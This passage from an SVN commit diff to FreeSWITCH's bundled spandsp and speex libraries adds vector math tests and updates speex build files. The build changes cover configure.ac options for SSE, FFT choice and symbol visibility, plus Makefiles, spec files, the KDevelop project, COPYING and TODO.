+            if (ratio < 0.9999f  ||  ratio > 1.0001f)
+            {
+                printf("vec_scaledxy_addf() - %d %e %e\n", j, za[j], zb[j]);
+                printf("Tests failed\n");
+                exit(2);
+            }
+        }
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static void vec_scaledy_addf_dumb(float z[], const float x[], const float y[], float y_scale, int n)
+{
+    int i;
+
+    for (i = 0;  i < n;  i++)
+        z[i] = x[i] + y[i]*y_scale;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int test_vec_scaledy_addf(void)
+{
+    int i;
+    int j;
+    float x[100];
+    float y[100];
+    float za[100];
+    float zb[100];
+    float ratio;
+
+    printf("Testing vec_scaledy_addf()\n");
+    for (i = 0;  i < 99;  i++)
+    {
+        x[i] = rand();
+        y[i] = rand();
+    }
+    for (i = 1;  i < 99;  i++)
+    {
+        vec_scaledy_addf(za, x, y, 1.5f, i);
+        vec_scaledy_addf_dumb(zb, x, y, 1.5f, i);
+        for (j = 0;  j < i;  j++)
+        {
+            ratio = za[j]/zb[j];
+            if (ratio < 0.9999f  ||  ratio > 1.0001f)
+            {
+                printf("vec_scaledy_addf() - %d %e %e\n", j, za[j], zb[j]);
+                printf("Tests failed\n");
+                exit(2);
+            }
+        }
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
 int main(int argc, char *argv[])
 {
+    test_vec_copyf();
+    test_vec_negatef();
+    test_vec_zerof();
+    test_vec_setf();
+    test_vec_addf();
+    test_vec_subf();
+    test_vec_mulf();
+    test_vec_scaledxy_addf();
+    test_vec_scaledy_addf();
     test_vec_dot_prod();
     test_vec_dot_prodf();
+    test_vec_lmsf();
 
     printf("Tests passed.\n");
     return 0;

Modified: freeswitch/branches/seven/libs/spandsp/tests/vector_int_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/vector_int_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/vector_int_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: vector_int_tests.c,v 1.10 2008/09/18 12:05:35 steveu Exp $
+ * $Id: vector_int_tests.c,v 1.11 2009/04/26 07:00:39 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
@@ -33,7 +33,6 @@
 #include <stdio.h>
 #include <fcntl.h>
 #include <string.h>
-#include <audiofile.h>
 
 #include "spandsp.h"
 

Property changes: freeswitch/branches/seven/libs/speex


Name: svn:ignore
   - configure
Makefile.in
autom4te.cache
config.log
.complete
config.h
Makefile
speex.pc
config.status
stamp-h1
libtool
depcomp
config.guess
ltmain.sh
config.sub
missing
aclocal.m4
install-sh
   + configure
Makefile.in
autom4te.cache
config.log
.complete
config.h
Makefile
speex.pc
config.status
stamp-h1
libtool
depcomp
config.guess
ltmain.sh
config.sub
missing
aclocal.m4
install-sh
lib
speexdsp.pc
config.h.in
configure.lineno

Modified: freeswitch/branches/seven/libs/speex/COPYING (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/COPYING	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/COPYING	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,10 +1,11 @@
-Copyright 2002-2006 
-        Xiph.org Foundation
-        Jean-Marc Valin
-        David Rowe
-        EpicGames
-        Analog Devices
-        Commonwealth Scientific and Industrial Research Organisation (CSIRO)
+Copyright 2002-2008 	Xiph.org Foundation
+Copyright 2002-2008 	Jean-Marc Valin
+Copyright 2005-2007	Analog Devices Inc.
+Copyright 2005-2008	Commonwealth Scientific and Industrial Research 
+                        Organisation (CSIRO)
+Copyright 1993, 2002, 2006 David Rowe
+Copyright 2003 		EpicGames
+Copyright 1992-1994	Jutta Degener, Carsten Bormann
 
 Redistribution and use in source and binary forms, with or without
 modification, are permitted provided that the following conditions

Modified: freeswitch/branches/seven/libs/speex/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -8,12 +8,12 @@
 m4data_DATA = speex.m4
 
 pkgconfigdir = $(libdir)/pkgconfig
-pkgconfig_DATA = speex.pc
+pkgconfig_DATA = speex.pc speexdsp.pc
 
 EXTRA_DIST = Speex.spec Speex.spec.in Speex.kdevelop speex.m4 speex.pc.in README.blackfin README.symbian README.TI-DSP
 
 #Fools KDevelop into including all files
-SUBDIRS = libspeex include doc win32 symbian ti
+SUBDIRS = libspeex include
 
 DIST_SUBDIRS = libspeex include src doc win32 symbian ti
 

Modified: freeswitch/branches/seven/libs/speex/Speex.kdevelop (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/Speex.kdevelop	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/Speex.kdevelop	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,11 +11,14 @@
     <absoluteprojectpath>false</absoluteprojectpath>
     <description/>
     <secondaryLanguages/>
+    <versioncontrol>kdevsubversion</versioncontrol>
+    <defaultencoding/>
+    <projectname>Speex</projectname>
   </general>
   <kdevautoproject>
     <general>
       <activetarget>libspeex/libspeex.la</activetarget>
-      <useconfiguration>default</useconfiguration>
+      <useconfiguration>float</useconfiguration>
     </general>
     <run>
       <mainprogram>src/Speex</mainprogram>
@@ -25,23 +28,47 @@
       <terminal>false</terminal>
       <autocompile>true</autocompile>
       <envvars/>
+      <autoinstall>false</autoinstall>
+      <autokdesu>false</autokdesu>
     </run>
     <configurations>
-      <optimized>
-        <builddir>optimized</builddir>
-        <ccompiler>GccOptions</ccompiler>
-        <cxxcompiler>GppOptions</cxxcompiler>
-        <f77compiler>G77Options</f77compiler>
-        <cflags>-O2 -g0</cflags>
-      </optimized>
-      <debug>
-        <configargs>--enable-debug=full</configargs>
-        <builddir>debug</builddir>
-        <ccompiler>GccOptions</ccompiler>
-        <cxxcompiler>GppOptions</cxxcompiler>
-        <f77compiler>G77Options</f77compiler>
-        <cflags>-O0 -g3</cflags>
-      </debug>
+      <float>
+        <builddir>float</builddir>
+        <ccompiler>kdevgccoptions</ccompiler>
+        <cxxcompiler>kdevgppoptions</cxxcompiler>
+        <f77compiler>kdevpgf77options</f77compiler>
+        <cflags>-O2 -g -Wall</cflags>
+        <envvars/>
+        <configargs>--disable-shared</configargs>
+        <topsourcedir/>
+        <cppflags/>
+        <ldflags/>
+        <ccompilerbinary/>
+        <cxxcompilerbinary/>
+        <f77compilerbinary/>
+        <cxxflags/>
+        <f77flags/>
+      </float>
+      <fixed>
+        <configargs>--enable-fixed-point --disable-shared</configargs>
+        <builddir>fixed</builddir>
+        <ccompiler>kdevgccoptions</ccompiler>
+        <cxxcompiler>kdevgppoptions</cxxcompiler>
+        <f77compiler>kdevpgf77options</f77compiler>
+        <cflags>-O2 -g -Wall</cflags>
+        <envvars/>
+        <topsourcedir/>
+        <cppflags/>
+        <ldflags/>
+        <ccompilerbinary/>
+        <cxxcompilerbinary/>
+        <f77compilerbinary/>
+        <cxxflags/>
+        <f77flags/>
+      </fixed>
+      <default>
+        <envvars/>
+      </default>
     </configurations>
     <make>
       <envvars>
@@ -49,9 +76,11 @@
         <envvar value="1" name="WANT_AUTOMAKE_1_6" />
       </envvars>
       <abortonerror>false</abortonerror>
-      <numberofjobs>1</numberofjobs>
+      <numberofjobs>4</numberofjobs>
       <dontact>false</dontact>
       <makebin/>
+      <runmultiplejobs>true</runmultiplejobs>
+      <prio>0</prio>
     </make>
   </kdevautoproject>
   <kdevdebugger>
@@ -69,6 +98,7 @@
     <display>
       <staticmembers>false</staticmembers>
       <demanglenames>true</demanglenames>
+      <outputradix>10</outputradix>
     </display>
   </kdevdebugger>
   <kdevfilecreate>
@@ -88,10 +118,50 @@
       <automaticCodeCompletion>true</automaticCodeCompletion>
       <automaticArgumentsHint>true</automaticArgumentsHint>
       <automaticHeaderCompletion>true</automaticHeaderCompletion>
-      <codeCompletionDelay>250</codeCompletionDelay>
+      <codeCompletionDelay>350</codeCompletionDelay>
       <argumentsHintDelay>400</argumentsHintDelay>
       <headerCompletionDelay>250</headerCompletionDelay>
+      <showOnlyAccessibleItems>false</showOnlyAccessibleItems>
+      <completionBoxItemOrder>0</completionBoxItemOrder>
+      <howEvaluationContextMenu>true</howEvaluationContextMenu>
+      <showCommentWithArgumentHint>true</showCommentWithArgumentHint>
+      <statusBarTypeEvaluation>false</statusBarTypeEvaluation>
+      <namespaceAliases>std=_GLIBCXX_STD;__gnu_cxx=std</namespaceAliases>
+      <processPrimaryTypes>true</processPrimaryTypes>
+      <processFunctionArguments>true</processFunctionArguments>
+      <preProcessAllHeaders>false</preProcessAllHeaders>
+      <parseMissingHeaders>false</parseMissingHeaders>
+      <resolveIncludePaths>true</resolveIncludePaths>
+      <alwaysParseInBackground>true</alwaysParseInBackground>
+      <usePermanentCaching>true</usePermanentCaching>
+      <alwaysIncludeNamespaces>true</alwaysIncludeNamespaces>
+      <includePaths>.;</includePaths>
+      <parseMissingHeadersExperimental>false</parseMissingHeadersExperimental>
+      <resolveIncludePathsUsingMakeExperimental>false</resolveIncludePathsUsingMakeExperimental>
     </codecompletion>
+    <qt>
+      <used>false</used>
+      <version>3</version>
+      <root>/usr/share/qt3</root>
+      <includestyle>3</includestyle>
+      <designerintegration>EmbeddedKDevDesigner</designerintegration>
+      <qmake>/usr/share/qt3/bin/qmake</qmake>
+      <designer>/usr/bin/designer-qt3</designer>
+      <designerpluginpaths/>
+    </qt>
+    <creategettersetter>
+      <prefixGet/>
+      <prefixSet>set</prefixSet>
+      <prefixVariable>m_,_</prefixVariable>
+      <parameterName>theValue</parameterName>
+      <inlineGet>true</inlineGet>
+      <inlineSet>true</inlineSet>
+    </creategettersetter>
+    <splitheadersource>
+      <enabled>true</enabled>
+      <synchronize>true</synchronize>
+      <orientation>Horizontal</orientation>
+    </splitheadersource>
   </kdevcppsupport>
   <kdevfileview>
     <groups>
@@ -101,6 +171,7 @@
     <tree>
       <hidepatterns>*.o,*.lo,CVS</hidepatterns>
       <hidenonprojectfiles>true</hidenonprojectfiles>
+      <showvcsfields>false</showvcsfields>
     </tree>
   </kdevfileview>
   <kdevdoctreeview>
@@ -120,4 +191,11 @@
       <implementationsuffix>.cpp</implementationsuffix>
     </filetemplates>
   </cppsupportpart>
+  <kdevdocumentation>
+    <projectdoc>
+      <docsystem/>
+      <docurl/>
+      <usermanualurl/>
+    </projectdoc>
+  </kdevdocumentation>
 </kdevelop>

Modified: freeswitch/branches/seven/libs/speex/Speex.spec (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/Speex.spec	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/Speex.spec	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 %define name     speex
-%define ver      1.2beta1
+%define ver      1.2rc1
 %define rel      1
 
 Summary: An open-source, patent-free speech codec
@@ -67,4 +67,5 @@
 %{_includedir}/speex/speex*.h
 /usr/share/aclocal/speex.m4
 %{_libdir}/pkgconfig/speex.pc
+%{_libdir}/pkgconfig/speexdsp.pc
 %{_libdir}/libspeex*.a

Modified: freeswitch/branches/seven/libs/speex/Speex.spec.in (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/Speex.spec.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/Speex.spec.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -67,4 +67,5 @@
 %{_includedir}/speex/speex*.h
 /usr/share/aclocal/speex.m4
 %{_libdir}/pkgconfig/speex.pc
+%{_libdir}/pkgconfig/speexdsp.pc
 %{_libdir}/libspeex*.a

Modified: freeswitch/branches/seven/libs/speex/TODO (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/TODO	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/TODO	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,30 +1,44 @@
-Better saturation handling in mdf?
-get rid of crap that shouldn't be exposed in speex.h
+For 1.2:
+Major points:
+- Make documentation match the actual code (especially jitter buffer, AEC and preprocessor)
+- Get AGC to work in fixed-point even if not totally converted
+- Stabilise all APIs (need feedback)
+- Short-term estimate in jitter buffer
+- Control delay in new AEC API.
+- NaN checks?
+- Better error reporting
+- Make kiss-fft 32-bit safe
 
+Minor issues:
+- Fix last frame of speexenc
+
+
+Post 1.2:
+improve float<->int conversion
+split encoder and decoder?
+Merge TriMedia stuff
+packet dump
+Do VAD properly
+--enable-{aec,preprocessor,jitter,resampler}
+
+Optimisations
+- Add restrict in a few places?
+- enable 4x4 version of pitch_xcorr() at least on some archs?
+- use __builtin_expect() (likely()/unlikely())
+
 Would be nice:
+Implement wideband split as IIR instead of QMF?
 
-Allocator override (speex_lib_ctl)
-Better error handling
+Allocator override (speex_lib_ctl?)
 Fixed-point:
-  - Wideband
-  - Initialization
+  - VBR
   - Jitter buffer
+  - AGC
 Denoiser:
-  - Smooth gain (remove musical noise)
   - Better noise adaptation
-  - Do some tuning
 AGC:
-  - Use median filtering instead of "non-linear mean"
+  - Use median filtering instead of "non-linear mean"?
 
-
-
-Features
--Add maximum/minimum bit-rate control for VBR
--Improve error handling (with perror-like call?)
-
-Long-term quality improvements
--Improve perceptual enhancement (including wideband)
-
 Standards
 -Complete Speex RTP profile
 -MIME type registration
@@ -32,4 +46,3 @@
 ideas:
 Peelable stream (double codebook, higher bands, stereo)
 LPC from spectral domain
-Better psycho-acoustic model. Masking curve from Vorbis?

Modified: freeswitch/branches/seven/libs/speex/acinclude.m4 (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/acinclude.m4	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/acinclude.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -19,7 +19,7 @@
   elif test "x$ogg_prefix" != "x" ; then
     OGG_LIBS="-L$ogg_prefix/lib"
   elif test "x$prefix" != "xNONE" ; then
-    OGG_LIBS=""
+    OGG_LIBS="-L$prefix/lib"
   fi
 
   OGG_LIBS="$OGG_LIBS -logg"
@@ -100,3 +100,20 @@
   AC_SUBST(OGG_LIBS)
   rm -f conf.oggtest
 ])
+
+
+AC_DEFUN([AX_COMPILER_VENDOR],
+[
+AC_CACHE_CHECK([for _AC_LANG compiler vendor], ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor,
+ [ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor=unknown
+  # note: don't check for gcc first since some other compilers define __GNUC__
+  for ventest in intel:__ICC,__ECC,__INTEL_COMPILER ibm:__xlc__,__xlC__,__IBMC__,__IBMCPP__ gnu:__GNUC__ sun:__SUNPRO_C,__SUNPRO_CC hp:__HP_cc,__HP_aCC dec:__DECC,__DECCXX,__DECC_VER,__DECCXX_VER borland:__BORLANDC__,__TURBOC__ comeau:__COMO__ cray:_CRAYC kai:__KCC lcc:__LCC__ metrowerks:__MWERKS__ sgi:__sgi,sgi microsoft:_MSC_VER watcom:__WATCOMC__ portland:__PGI; do
+    vencpp="defined("`echo $ventest | cut -d: -f2 | sed 's/,/) || defined(/g'`")"
+    AC_COMPILE_IFELSE([AC_LANG_PROGRAM(,[
+#if !($vencpp)
+      thisisanerror;
+#endif
+])], [ax_cv_]_AC_LANG_ABBREV[_compiler_vendor=`echo $ventest | cut -d: -f1`; break])
+  done
+ ])
+])

Deleted: freeswitch/branches/seven/libs/speex/config.h.in

Modified: freeswitch/branches/seven/libs/speex/configure.ac (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/configure.ac	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/configure.ac	2009-08-09 18:53:22 UTC (rev 14472)
@@ -2,19 +2,19 @@
 
 AC_INIT(libspeex/speex.c)
 
-AM_CONFIG_HEADER([config.h])
+AC_CONFIG_HEADERS([config.h])
 
 SPEEX_MAJOR_VERSION=1
 SPEEX_MINOR_VERSION=1
-SPEEX_MICRO_VERSION=13
+SPEEX_MICRO_VERSION=16
 SPEEX_EXTRA_VERSION=
 #SPEEX_VERSION=
-SPEEX_VERSION=$SPEEX_MAJOR_VERSION.$SPEEX_MINOR_VERSION.$SPEEX_MICRO_VERSION$SPEEX_EXTRA_VERSION
-SPEEX_VERSION="1.2beta1"
+#SPEEX_VERSION=$SPEEX_MAJOR_VERSION.$SPEEX_MINOR_VERSION.$SPEEX_MICRO_VERSION$SPEEX_EXTRA_VERSION
+SPEEX_VERSION="1.2rc1"
 
-SPEEX_LT_CURRENT=5
+SPEEX_LT_CURRENT=6
 SPEEX_LT_REVISION=0
-SPEEX_LT_AGE=4
+SPEEX_LT_AGE=5
 
 AC_SUBST(SPEEX_LT_CURRENT)
 AC_SUBST(SPEEX_LT_REVISION)
@@ -30,6 +30,7 @@
 AM_MAINTAINER_MODE
 
 AC_CANONICAL_HOST
+AC_LIBTOOL_WIN32_DLL
 AM_PROG_LIBTOOL
 
 AC_C_BIGENDIAN
@@ -37,10 +38,12 @@
 AC_C_INLINE
 AC_C_RESTRICT
 
+AX_COMPILER_VENDOR
 
 AC_MSG_CHECKING(for C99 variable-size arrays)
 AC_TRY_COMPILE( , [
-int foo=10;
+int foo;
+foo = 10;
 int array[foo];
 ],
 [has_var_arrays=yes;AC_DEFINE([VAR_ARRAYS], [], [Use C99 variable-size arrays])
@@ -49,8 +52,14 @@
 )
 AC_MSG_RESULT($has_var_arrays)
 
+AC_CHECK_HEADERS([alloca.h getopt.h])
 AC_MSG_CHECKING(for alloca)
-AC_TRY_COMPILE( [#include <alloca.h>], [
+AC_TRY_COMPILE( [
+#ifdef HAVE_ALLOCA_H
+# include <alloca.h>
+#endif
+#include <stdlib.h>
+], [
 int foo=10;
 int *array = alloca(foo);
 ],
@@ -64,9 +73,76 @@
 )
 AC_MSG_RESULT($has_alloca)
 
+AC_MSG_CHECKING(for SSE in current arch/CFLAGS)
+AC_LINK_IFELSE([
+AC_LANG_PROGRAM([[
+#include <xmmintrin.h>
+__m128 testfunc(float *a, float *b) {
+  return _mm_add_ps(_mm_loadu_ps(a), _mm_loadu_ps(b));
+}
+]])],
+[
+has_sse=yes
+],
+[
+has_sse=no
+]
+)
+AC_MSG_RESULT($has_sse)  
 
+AC_MSG_CHECKING(for ELF visibility)
+case "$ax_cv_c_compiler_vendor" in
+gnu)
+  SAVE_CFLAGS="$CFLAGS"
+  CFLAGS="$CFLAGS -fvisibility=hidden"
+  AC_COMPILE_IFELSE([
+  AC_LANG_PROGRAM([[
+  #pragma GCC visibility push(hidden)
+  __attribute__((visibility("default")))
+  int var=10;
+  ]])],
+  [
+  has_visibility=yes
+  AC_DEFINE([EXPORT], [__attribute__((visibility("default")))], [Symbol visibility prefix])
+  ],
+  [
+  has_visibility=no
+  AC_DEFINE([EXPORT], [], [Symbol visibility prefix])
+  CFLAGS="$SAVE_CFLAGS"
+  ]
+  )
+  ;;
+#sun)
+#  SAVE_CFLAGS="$CFLAGS"
+#  CFLAGS="$CFLAGS -xldscope=hidden"
+#  AC_COMPILE_IFELSE([
+#  AC_LANG_PROGRAM([[
+#  __attribute__((visibility("default")))
+#  int var=10;
+#  ]])],
+#  [
+#  has_visibility=yes
+#  AC_DEFINE([EXPORT], [__attribute__((visibility("default")))], [Symbol visibility prefix])
+#  ],
+#  [
+#  has_visibility=no
+#  AC_DEFINE([EXPORT], [], [Symbol visibility prefix])
+#  CFLAGS="$SAVE_CFLAGS"
+#  ]
+#  )
+#  ;;
+*)
+  has_visibility=no
+  AC_DEFINE([EXPORT], [], [Symbol visibility prefix])
+  ;;
+esac
+AC_MSG_RESULT($has_visibility)
+
 AC_CHECK_HEADERS(sys/soundcard.h sys/audioio.h)
 
+XIPH_PATH_OGG([src="src"], [src=""])
+AC_SUBST(src)
+
 AC_CHECK_LIB(m, sin)
 
 # Check for getopt_long; if not found, use included source.
@@ -86,32 +162,47 @@
 AC_DEFINE_UNQUOTED(SPEEX_MICRO_VERSION, ${SPEEX_MICRO_VERSION}, [Version micro])
 AC_DEFINE_UNQUOTED(SPEEX_EXTRA_VERSION, "${SPEEX_EXTRA_VERSION}", [Version extra])
 
-AC_ARG_ENABLE(wideband, [  --disable-wideband      Disable wideband codec],
-[if test "$enableval" = no; then
-  AC_DEFINE([DISABLE_WIDEBAND], , [Disable wideband codec])
-fi])
-
-AC_ARG_ENABLE(vorbis-psy, [  --enable-vorbis-psy       Enable Vorbis-style psychoacoustics (EXPERIMENTAL)],
-[if test "$enableval" = yes; then
-  AC_DEFINE([VORBIS_PSYCHO], , [Enable Vorbis-style psychoacoustics (EXPERIMENTAL)])
-fi])
-
 AC_ARG_ENABLE(valgrind, [  --enable-valgrind       Enable valgrind extra checks],
 [if test "$enableval" = yes; then
   AC_DEFINE([ENABLE_VALGRIND], , [Enable valgrind extra checks])
 fi])
 
-AC_ARG_ENABLE(sse, [  --enable-sse            Enable SSE support], [if test "$enableval" = yes; then
-AC_DEFINE([_USE_SSE], , [Enable SSE support])
+AC_ARG_ENABLE(sse, [  --enable-sse            Enable SSE support], [
+if test "x$enableval" != xno; then
+has_sse=yes
 CFLAGS="$CFLAGS -O3 -msse"
+else
+has_sse=no
 fi
 ])
 
+
+FFT=smallft
+
 AC_ARG_ENABLE(fixed-point, [  --enable-fixed-point    Compile as fixed-point],
 [if test "$enableval" = yes; then
+  FFT=kiss
+  has_sse=no
   AC_DEFINE([FIXED_POINT], , [Compile as fixed-point])
+else
+  AC_DEFINE([FLOATING_POINT], , [Compile as floating-point])
+fi],
+AC_DEFINE([FLOATING_POINT], , [Compile as floating-point]))
+
+if test "$has_sse" = yes; then
+  AC_DEFINE([_USE_SSE], , [Enable SSE support])
+fi
+
+AC_ARG_ENABLE(float-api, [  --disable-float-api     Disable the floating-point API],
+[if test "$enableval" = no; then
+  AC_DEFINE([DISABLE_FLOAT_API], , [Disable all parts of the API that are using floats])
 fi])
 
+AC_ARG_ENABLE(vbr, [  --disable-vbr           Disable VBR and VAD from the codec],
+[if test "$enableval" = no; then
+  AC_DEFINE([DISABLE_VBR], , [Disable VBR and VAD from the codec])
+fi])
+
 AC_ARG_ENABLE(arm4-asm, [  --enable-arm4-asm       Make use of ARM4 assembly optimizations],
 [if test "$enableval" = yes; then
   AC_DEFINE([ARM4_ASM], , [Make use of ARM4 assembly optimizations])
@@ -122,7 +213,7 @@
   AC_DEFINE([ARM5E_ASM], , [Make use of ARM5E assembly optimizations])
 fi])
 
-AC_ARG_ENABLE(blackfin-asm, [  --enable-blackfin-asm      Make use of Blackfin assembly optimizations],
+AC_ARG_ENABLE(blackfin-asm, [  --enable-blackfin-asm   Make use of Blackfin assembly optimizations],
 [if test "$enableval" = yes; then
   AC_DEFINE([BFIN_ASM], , [Make use of Blackfin assembly optimizations])
   LDFLAGS="-Wl,-elf2flt=-s100000"
@@ -133,22 +224,35 @@
   AC_DEFINE([FIXED_DEBUG], , [Debug fixed-point implementation])
 fi])
 
-AC_ARG_ENABLE(epic-48k, [  --enable-epic-48k       Enable support for Epic 4.8 kbps mode],
-[if test "$enableval" = yes; then
-  AC_DEFINE([EPIC_48K], , [Enable support for Epic 4.8 kbps mode])
-fi])
-
 AC_ARG_ENABLE(ti-c55x, [  --enable-ti-c55x        Enable support for TI C55X DSP],
 [if test "$enableval" = yes; then
   has_char16=yes;
   AC_DEFINE([TI_C55X], , [Enable support for TI C55X DSP])
 fi])
 
-AC_ARG_ENABLE(16bit-precision, [  --enable-16bit-precision Reduce precision to 16 bits (EXPERIMENTAL)],
-[if test "$enableval" = yes; then
-  AC_DEFINE([PRECISION16], , [Reduce precision to 16 bits (EXPERIMENTAL)])
-fi])
+AC_ARG_WITH([fft], [AS_HELP_STRING([--with-fft=choice],[use an alternate FFT implementation. The available choices are
+kiss (default fixed point), smallft (default floating point), gpl-fftw3 and proprietary-intel-mkl])],
+[FFT=$withval]
+)
 
+FFT_PKGCONFIG=
+
+case $FFT in
+	kiss) 
+		AC_DEFINE([USE_KISS_FFT], [], [Use KISS Fast Fourier Transform]) ;;
+	smallft)
+		AC_DEFINE([USE_SMALLFT], [], [Use FFT from OggVorbis]) ;;
+	*)
+		AC_MSG_FAILURE([Unknown FFT $FFT specified for --with-fft]) ;;
+esac
+
+AC_SUBST(FFT_LIBS)
+AC_SUBST(FFT_CFLAGS)
+AM_CONDITIONAL(BUILD_KISS_FFT, [test "$FFT" = "kiss"])
+AM_CONDITIONAL(BUILD_SMALLFT, [test "$FFT" = "smallft"])
+AC_SUBST(FFT_PKGCONFIG)
+
+
 AC_CHECK_SIZEOF(short)
 AC_CHECK_SIZEOF(int)
 AC_CHECK_SIZEOF(long)
@@ -182,47 +286,28 @@
 AC_SUBST(SIZE16)
 AC_SUBST(SIZE32)
 
-
-AC_DEFUN([AX_COMPILER_VENDOR],
-[
-AC_CACHE_CHECK([for _AC_LANG compiler vendor], ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor,
- [ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor=unknown
-  # note: don't check for gcc first since some other compilers define __GNUC__
-  for ventest in intel:__ICC,__ECC,__INTEL_COMPILER ibm:__xlc__,__xlC__,__IBMC__,__IBMCPP__ gnu:__GNUC__ sun:__SUNPRO_C,__SUNPRO_CC hp:__HP_cc,__HP_aCC dec:__DECC,__DECCXX,__DECC_VER,__DECCXX_VER borland:__BORLANDC__,__TURBOC__ comeau:__COMO__ cray:_CRAYC kai:__KCC lcc:__LCC__ metrowerks:__MWERKS__ sgi:__sgi,sgi microsoft:_MSC_VER watcom:__WATCOMC__ portland:__PGI; do
-    vencpp="defined("`echo $ventest | cut -d: -f2 | sed 's/,/) || defined(/g'`")"
-    AC_COMPILE_IFELSE([AC_LANG_PROGRAM(,[
-#if !($vencpp)
-      thisisanerror;
-#endif
-])], [ax_cv_]_AC_LANG_ABBREV[_compiler_vendor=`echo $ventest | cut -d: -f1`; break])
-  done
- ])
-])
-
-AX_COMPILER_VENDOR
-
-#  Enable 64 bit build
-AC_ARG_ENABLE(64,
-[AC_HELP_STRING([--enable-64],[build with 64 bit support])],[enable_64="$enable_64"],[enable_64="no"])
-
-if test "x${ax_cv_c_compiler_vendor}"  =  "xsun" ; then
-    if test "${enable_64}" = "yes"; then
-        CFLAGS="$CFLAGS -m64"
-        CXXFLAGS="$CXXFLAGS -m64"
-    fi
-fi
-
-AC_OUTPUT([Makefile libspeex/Makefile src/Makefile doc/Makefile Speex.spec
-           include/Makefile include/speex/Makefile speex.pc
+AC_OUTPUT([Makefile libspeex/Makefile src/Makefile  Speex.spec
+           include/Makefile include/speex/Makefile speex.pc speexdsp.pc
            win32/Makefile win32/libspeex/Makefile win32/speexenc/Makefile
            win32/speexdec/Makefile symbian/Makefile 
-           win32/VS2003/Makefile win32/VS2005/Makefile
+           win32/VS2003/Makefile
+           win32/VS2003/tests/Makefile
            win32/VS2003/libspeex/Makefile
+           win32/VS2003/libspeexdsp/Makefile
            win32/VS2003/speexdec/Makefile
            win32/VS2003/speexenc/Makefile
+           win32/VS2005/Makefile
            win32/VS2005/libspeex/Makefile
            win32/VS2005/speexdec/Makefile
            win32/VS2005/speexenc/Makefile
+           win32/VS2005/libspeexdsp/Makefile
+           win32/VS2005/tests/Makefile
+           win32/VS2008/libspeexdsp/Makefile
+           win32/VS2008/Makefile
+           win32/VS2008/speexdec/Makefile
+           win32/VS2008/tests/Makefile
+           win32/VS2008/libspeex/Makefile
+           win32/VS2008/speexenc/Makefile
            include/speex/speex_config_types.h ti/Makefile 
 	   ti/speex_C54_test/Makefile ti/speex_C55_test/Makefile
 	   ti/speex_C64_test/Makefile ])

Modified: freeswitch/branches/seven/libs/speex/doc/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/doc/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/doc/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,3 @@
-docdir=$(prefix)/share/doc/@PACKAGE@-@VERSION@
-
 doc_DATA = manual.pdf
 
 EXTRA_DIST = $(doc_DATA)

Modified: freeswitch/branches/seven/libs/speex/doc/manual.pdf


(Binary files differ)

Modified: freeswitch/branches/seven/libs/speex/include/speex/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/include/speex/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/include/speex/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -3,13 +3,7 @@
 
 nodist_pkginclude_HEADERS = speex_config_types.h
 
-pkginclude_HEADERS =  speex.h \
-	speex_types.h \
-	speex_bits.h \
-	speex_header.h \
-	speex_callbacks.h \
-	speex_stereo.h \
-	speex_preprocess.h \
-	speex_jitter.h \
-	speex_echo.h
+pkginclude_HEADERS = speex.h speex_bits.h speex_buffer.h speex_callbacks.h \
+	speex_echo.h speex_header.h speex_jitter.h speex_preprocess.h speex_resampler.h \
+	speex_stereo.h speex_types.h
 

Modified: freeswitch/branches/seven/libs/speex/include/speex/speex.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/include/speex/speex.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/include/speex/speex.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,6 +35,10 @@
 
 #ifndef SPEEX_H
 #define SPEEX_H
+/** @defgroup Codec Speex encoder and decoder
+ *  This is the Speex codec itself.
+ *  @{
+ */
 
